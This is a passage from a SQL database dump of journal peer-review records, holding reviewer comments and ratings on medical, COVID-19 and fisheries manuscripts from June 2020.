The author describes every part including from the abstract to the conclusion very well. I recommend that the article mat be published with minor changes that are grammatical errors, formatting, and references.','The article entitled \"Unusual Seizure Presentation in Early-Onset Alpers–Huttenlocher Syndrome.\" is very useful for future study and in this article, the author describes DNA polymerase gamma-1 (POLG)-related disorders and concludes that targeted genetic analysis of POLG combined with eliciting the family history, may help to confirm the diagnosis of AHS. The author describes every part including from the abstract to the conclusion very well. I recommend that the article mat be published with minor changes that are grammatical errors, formatting, and references.\r\nIt can be published with minor changes.','2020-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1698,11353,3882,NULL,'4','G','N','M','Y','1.	the title is too long, revise it \r\n2.	the abstract needs revision, especially METHODS \r\n3.	KEYWORDS are good\r\n4.	graphical ABSTRACT is absent\r\n5.	the introduction provide insufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic is clear\r\n7.	there are few grammatical errors in this article\r\n8.	the related concepts are introduced \r\n9.	the readability is sufficient\r\n10.	the proposed experiment is not novel\r\n11.	the results are good \r\n12.	rigorous derivation of formulas/ equations work well\r\n13.	the theoretical analysis in this article is \r\n14.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n15.	all figures/tables are well referred to in the text\r\n16.	the reference section contains some wrong and old ref \r\n17.	please use google scholar search engine then set it since 2016\r\n18.	Bias is present\r\n19.	no Plagiarism \r\n20.	Funds is mentioned\r\n21.	Conflict of interest is mentioned\r\n22.	Ethical committee is mentioned\r\n23.	Acknowledgement is mentioned\r\nSuggestions for improvement\r\n1.	Please improve the ability of theoretical analysis or writing skills\r\n2.	You can use my suggestions\r\nPaper score\r\nTen-point System	Relevance	Originality	Significance	Technical soundness	Clarity of presentation / language\r\nEnter a score between 0 to 10	7	7	9	7	8\r\nFinal Evaluation\r\n0  Excellent           0  Very Good           0  Good            0  Fair           0  Poor \r\n\r\n0   Acceptance           0  Minor Revision           0  Major Revision           0  Rejection \r\n\r\n\r\n\r\nPoints to Ponder	Review comments and notes\r\nIs the aim clear?\r\n	Yes\r\nIs it clear what the study found \r\n	Yes\r\nhow the authors did it?\r\n	Good\r\nIs the title informative \r\n	Too long\r\nIs the title is  relevant?\r\n	Good\r\nAre the references are Relevant?\r\n	Average\r\nAre the references are Recent?\r\n	Fair\r\nAre the references are Referenced correctly?\r\n	Average \r\nAre appropriate key studies included?\r\n	Fair\r\nIs it clear what is already known about this topic?\r\n	Average\r\nIs the research question clearly outlined?\r\n	Good\r\nIs the research question justified given what is already known about the topic?\r\n	Good\r\nIs the process of subject selection clear?\r\n	Good\r\nAre the variables defined and measured appropriately?	Good\r\n\r\nAre the study methods valid and reliable?	Good\r\nIs there enough detail in order to replicate the study?	Good \r\nIs the data presented in an appropriate way?\r\n	Good\r\nTables and figures relevant and clearly presented?\r\n	Good\r\nAppropriate units, rounding, and number of decimals?\r\n	Good\r\nTitles, columns, and rows labelled correctly and clearly?\r\n	Good\r\nCategories grouped appropriately?\r\n	Good\r\nDoes the text in the results add to the data or is it repetitive?\r\n	good\r\nis it a practically meaningful result?\r\n	Good\r\nIs it a statistically significant result?\r\n	good\r\nAre the results discussed from multiple angles and placed into context without being over interpreted?\r\n	Honest\r\nDo the conclusions answer the aims of the study?\r\n	Good\r\nAre the conclusions supported by references or results?\r\n	Good\r\nAre the limitations of the study fatal or are they \r\nopportunities to inform future research?\r\n	Not fatal\r\nWas the study design appropriate to answer the aim?\r\n	Good\r\nWhat did this study add to what was already known on this topic?\r\n	Local \r\nWhat were the major flaws of this article?\r\n	1.	too many data\r\n2.	too many results\r\n3.	fair ABSTRACT \r\nIs the article consistent within itself?	Average due to too many data\r\nOverall  summary 	\r\n\r\nAcceptable after minor revision\r\n\r\n\r\n\r\nOverall strengths 	\r\n1.	local information\r\n2.	honest\r\n3.	significant results\r\n\r\n\r\n\r\n\r\n\r\nimpact In its field\r\n	Good\r\nSpecific weaknesses 	Major points in the article which needs clarification, refinement, reanalysis, rewrites and/or additional information and suggestions for what could be done to improve the article.  \r\n\r\ntoo many data\r\ntoo many results\r\n      fair ABSTRACT\r\nI suggest to divide the paper into 2 papers\r\n1.	2.	3.	\r\n	Minor points like figures/tables not being mentioned in the text, a missing reference, typos, and other inconsistencies. \r\n\r\n1.	grammar\r\n2.	\r\n3.\r\n4. 	\r\n','Questions to the authors:\r\n1.	too many data\r\n2.	too many results\r\n3.	fair ABSTRACT\r\n4.	I suggest to divide the paper into 2 papers\r\nTo the editor:\r\nThis is a medium expert author\r\n','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1699,12875,3926,NULL,'5','R','D','Y','y','A well documented rare surgical efforts for one of the rare conditions \"Transverse colon intussusception caused by a submucosal lipoma\". It is are because of the nature of the causative reason being a lipoma, not a malignant condition as generally it is in adults. The figures referred to in the case report were not shared. The figures would have authenticated the process of confirming the diagnosis (figure-1) and the process of the surgery that was done (figure-2)','A rare case reported and well described. The author refers to 2 figures 1 & 2., unfortunately, are not shared. The figures would have authenticated as to the process of confirming the diagnosis and the surgery that was done. ','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1700,12513,3701,NULL,'1','D','N','Y','Y','- Abstract should be consisted of Introduction, Materials and Methods, Results and conclusion.\r\n- In the main body, introduction is too short\r\n- Introduction does not have references\r\n- Word ( we) must be replaced by this study examined\r\n- How the author concluded that Hydroxychloroquine was the best medication?\r\n- Arbidol hydrochloride, interferon, and Thalidomide plus Methylprednisolone Treatments of COVID 19 ? Where are the results?\r\n- Galidesivir which is also an anti-viral drug and adenosine analogue can  also be effective against coronaviruses? where is the reference?\r\n- The aurhor has used 25 references but yet to find them in the article main body citations.\r\n','The study is very limited and provide a little scientific evidence about treatment of COVID 19. The information in this review study is well established in many other studies.\r\nI don\'t see any urgency in publishing this study.','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1701,13235,4392,NULL,'3','D','Y','Y','Y','The title needs to restructure as not suitable to review text. Pandemic threads to developing countries, however, data not yet published so comments raised are questionable.\r\nAbstract: spelling mistakes, grammar, the flow of language, and own contribution required.\r\nIntroduction: Ref 1, text quoted is not valid. data among children and infants not mentioned anywhere significantly.','Contents are original, topic also new and interesting but need major revision as there is less information and little efforts made.','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1704,12532,4178,NULL,'4','R','N','Y','Y','Well studied and well written article but this all is known for many years. Our speciality needs new work.\r\n','','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1707,11355,3983,NULL,'2','R','N','Y','N','The author reviewed the antibiotic abuse and development of bacterial resistance in Libya.\r\nThe manuscript is not well written.  The English expression is not very accurate. Some sentences are too long. It’s better to ask a native speaker to edit it. There are other points need to be taken into consideration.\r\n1.	The manuscript presents F1g3, 8,9,10,11. Where are the other figures?\r\n2.	One of the table is not labeled. And the author described in the text ‘A study was done by Ghenghesh et al showed the Isolation of MRSA from different sources in Libyan cities in the period 1995-2008 gathered in the table bellow.’ It’s better to notice the reader the table’s No. to make it more clear!\r\n3.	Some citations are followed with no reference, for ex. Urinary tract infection (UTI) is defined by the presence of multiplying organisms in the urinary tract, which is usually sterile (Svanborg & Godaly, 1997). I couldn’t find the refence of ‘Svanborg & Godaly, 1997’.\r\n4.	The references formats are not consistent.\r\n5.	There are some print errors, for ex. ‘ Providing Information on the past state of antimicrobial resistance‘， ’the information should not be capitalized.\r\n6.	In the ‘Abstract Aim’ part, it’s better to put ‘ Libya’ as the limitation.\r\n','The manuscript is not well written.','2020-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1713,11360,4465,NULL,'5','g','y','y','y','The manuscript entitled” Mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','The manuscript entitled” Mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1714,11358,4465,NULL,'5','g','y','y','y','\r\nThank you for giving me the opportunity to review this interesting study \" Mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','\r\nThank you for giving me the opportunity to review this interesting study \" Mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1715,11356,4218,NULL,'5','g','y','y','y','The manuscript entitled” Open Data: The Implications on Privacy in Healthcare Research” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','The manuscript entitled” Open Data: The Implications on Privacy in Healthcare Research” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1716,11359,4218,NULL,'5','g','y','y','y','Thank you for giving me the opportunity to review this interesting study \" Open Data: The Implications on Privacy in Healthcare Research.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','Thank you for giving me the opportunity to review this interesting study \" Open Data: The Implications on Privacy in Healthcare Research.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1717,11357,4498,NULL,'5','g','y','y','y','The manuscript entitled” In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','The manuscript entitled” In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1718,11352,4498,NULL,'5','g','y','y','y','Thank you for giving me the opportunity to review this interesting study \" In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','Thank you for giving me the opportunity to review this interesting study \" In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19.\"\r\nHowever, I have some comments and recommendations:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods and analysis of the results are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the results of the study.\r\nReferences:\r\n- references are appropriate\r\nGeneral:\r\n- Revise, grammar and syntax.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1719,11360,4191,NULL,'5','g','y','y','y','The manuscript entitled” Unravelling the Role of Stem Cells in Chronic Myeloid Leukaemia and Potential Treatments” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','The manuscript entitled” Unravelling the Role of Stem Cells in Chronic Myeloid Leukaemia and Potential Treatments” is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker. . \r\nAbstract:- It is informative and completely self-explanatory.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good.\r\n','2020-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1740,12786,4226,NULL,'3','G','N','Y','Y','Dear Author, \r\n\r\nThank you for writing and sharing your case report. Please find the below points for improvement.\r\n\r\n1)	Add short introduction to give background related to selected topic with brief description of the pathology, and the importance of reporting such case.\r\n\r\n2)	Treatment and outcome plan are missing.\r\n\r\n3)	Figures needs numbers and titles separately. \r\n\r\n4)	Discussion section is short and requires more evidence to support your case. Please elaborate more on the link between hydropericardium and pericarditis as a complication in pneumonia. Also the link between lung resection, COVID-19 and number of mortalities.\r\n\r\n5)	Add conclusion for with summary points and explain the importance and relevance of your case.\r\n\r\n6)	In text citation is missing for references.\r\n\r\nThanks & Regards\r\n\r\n\r\n','','2020-06-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1741,657,4482,NULL,'4','r','N','M','N','Comments to authors:\r\nHemifacial spasm (HFS) is movement disorder that is presumably caused by vascular compression of the facial nerve. Current treatment includes repeated injections of botulinum toxin or microvascular decompression (MVD) surgery. The authors conducted MVD on 72 HFS patients, with complete cure in 65 of the 72 patients and significantly improved quality of life scores. \r\n1.	The parameters in table 1 are all described in table 3, therefore table 1 is redundant and should be removed.\r\n2.	The authors mentioned that repeated botulinum toxin injections were needed for HFS patients. Do patients have to undergo multiple rounds of surgery in their lifetime to sustain the benefits?  \r\n3.	Given that 56 out of 72 patients have a history of repeated botulinum toxin injections, do the authors think these injections could influence the observed results of improvement of quality of life post operation? Do the authors know the frequency and time of injections before the surgery? Should these patients be stratified? \r\n','','2020-06-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1743,13236,4392,NULL,'3','g','y','y','n','- the English of the paper should be revised due to typos. Please consider the help of a native English speaker.\r\n- please discuss the paper from Acanfora D et al. Eur Heart J Cardiovasc Pharmacother. 2020 Jul 1;6(3):135-136. ','- the English of the paper should be revised due to typos. Please consider the help of a native English speaker.\r\n- please discuss the paper from Acanfora D et al. Eur Heart J Cardiovasc Pharmacother. 2020 Jul 1;6(3):135-136. ','2020-06-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1754,10779,3860,NULL,'5','g','y','y','y','Author has selected this topic Impacts of Different Exercise Routines on Rainbow Trout Rearing Performance\r\nThis topic is very novel and interesting and the results of this study, where the fish in the exercise routine fed to satiation grew similarly and as efficiently as fish receiving low exercise and fed to satiation, indicate that it is possible to obtain the benefits of exercise during hatchery rearing without sacrificing rearing performance. The benefits of exercise to fish have been well-documented. \r\nI accept to publish this article in this journal.','Author has selected this topic Impacts of Different Exercise Routines on Rainbow Trout Rearing Performance\r\nThis topic is very novel and interesting and the results of this study, where the fish in the exercise routine fed to satiation grew similarly and as efficiently as fish receiving low exercise and fed to satiation, indicate that it is possible to obtain the benefits of exercise during hatchery rearing without sacrificing rearing performance. The benefits of exercise to fish have been well-documented. \r\nI accept to publish this article in this journal.','2020-06-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1755,8796,3723,NULL,'5','g','y','y','y','Author has selected the topic Short Term Survival and Tag Retention of Gizzard Shad Implanted with Dummy Transmitters.\r\nThis topic is very novel and interesting and appear suitable for tagging studies, as short-term survivalafter surgical implantation was high (average > 85% for tagged fish).Most tag implantation studies report survival rates from 75-99%. Other studies assessing the impacts of surgically implanted tags on fishes found survival rates as low as 60% to as high as 100%. Surgery duration in our study waswithin the range of 180-360 s reported in other studies.\r\nI agree to publish this article in this journal.','Author has selected the topic Short Term Survival and Tag Retention of Gizzard Shad Implanted with Dummy Transmitters.\r\nThis topic is very novel and interesting and appear suitable for tagging studies, as short-term survivalafter surgical implantation was high (average > 85% for tagged fish).Most tag implantation studies report survival rates from 75-99%. Other studies assessing the impacts of surgically implanted tags on fishes found survival rates as low as 60% to as high as 100%. Surgery duration in our study waswithin the range of 180-360 s reported in other studies.\r\nI agree to publish this article in this journal.','2020-06-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1757,8997,3791,NULL,'6','6','6','6','6','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1758,8997,3722,NULL,'6','6','6','6','6','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1759,8997,4610,NULL,'6','6','6','6','6','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1760,8997,3938,NULL,'6','6','6','6','6','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','the manuscript is suitable for publication.\r\n\r\nMethod presented with scientific rigor.\r\n\r\nDiscussion and pertinent conclusion.\r\n\r\nThe evidence outlined is current and consistent.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1762,5467,3033,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1763,5467,2594,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1764,5467,3282,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1765,5467,3388,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1766,5467,4126,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1767,5467,2934,NULL,'5','g','y','y','y','Well written, accepted for publication without any changes','Well written, accepted for publication without any changes','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1772,11356,3983,NULL,'5','g','y','y','y','The manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good\r\n','The manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good\r\n','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1773,11356,3882,NULL,'5','g','y','y','y','The manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good\r\n','The manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. There are some spelling errors in this manuscript. See guide for authors for a free grammar checker.\r\n1. Introduction: relevant.\r\n2. Aim of the study: relevant.\r\n3. Methods: relevant.\r\n4. The result; - good.\r\n5. The conclusion good.\r\n6. The keywords:- good\r\n','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1781,12875,4251,NULL,'3','R','D','M','N','The description of the surgery done could have been easily understood with figures or photographs. In the absence of that, it is difficult to assess what actually was done. Appreciate sharing either a video of the actual surgery, step by step photographs or the figurative representation of the surgery done. The photographs before and after the surgery would be evidence of the prognosis of the surgery done. ','It is difficult for the audience to understand the surgery done in the absence of the visuals. I appreciate asking for and sharing for a final opinion.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1783,12875,4006,NULL,'5','g','N','Y','Y','Compliment the authors for a manuscript that had value-add suggestions at the beginning of the Pandemic.  This follows the basic epidemiological approach but sets key guiding principles of preventions to be taken. Specialties which need a clinical examination of the patient\'s mouth, eyes, and throat (Dentists, Ophatholmologist, and Otorhinolaryngiologist) need to follow these guidelines','A sensible manuscript of Pandemic disease prevention guidelines especially in the early stages deserves encouragement','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1784,12875,4117,NULL,'5','R','Y','M','n','A rare case of single lipoma in an unusual site. Well documented and surgical procedures well explained.','A simple but unusual case study and well-known management.','2020-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1790,11355,4191,NULL,'6','g','y','y','y','The author comprehensively reviewed the roles of stem cells and cancer stem cells in chronic myeloid leukemia. The manuscript is well written. English expression is good. The literature are properly cited.','','2020-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1791,11355,4465,NULL,'4','R','Y','Y','Y','This research explored the mothers’ perception and management preference of acute diarrheal \r\ndisease at Hossana . The study has great significance, it was well designed. The manuscript is well written. English expression and data presentation are good. However, there are several minor points need to be noticed.\r\n1.	Some abbreviations, such as ORS, LMICS, SNNP et al, are not given the full names.  \r\n2.	Should ‘weyin adega’ be ‘Weyin Adega’?\r\n3.	Should ‘Astudy done in Wolagta’ be ‘A study done in Wolagta’？\r\n','','2020-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1792,4514,3547,NULL,'5','g','y','y','y','Author has selected this topic  Endo parasitc faunas of eight fresh water fishes in Edo state this is very interesting and i agree to publish this article in this journal.','Author has selected this topic  Endo parasitc faunas of eight fresh water fishes in Edo state this is very interesting and i agree to publish this article in this journal.','2020-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1793,8796,3400,NULL,'5','g','y','y','y','Author has selected this topic Diversity, distribution, and relative abundance of fish species in Lake Hayq, is very innovative and interesting and i accept to publish this article in this journal. \r\n','Author has selected this topic Diversity, distribution, and relative abundance of fish species in Lake Hayq, is very innovative and interesting and i accept to publish this article in this journal. \r\n','2020-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1794,4514,3202,NULL,'5','g','y','y','y','I accept to publish this article in our journal. ','I accept to publish this article in our journal. ','2020-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1798,11355,4498,NULL,'4','G','Y','Y','Y','The author reported an in-silico study of two plant phyto-derivatives, ALS1 and ALS2， targeting HR1 domain of Covid 19 spike protein to inhibit the virus entry. The novelty is very good. The results presentation is well.However, there are several points need to be noticed.\r\n1.	There are many grammatical and typing mistakes， for 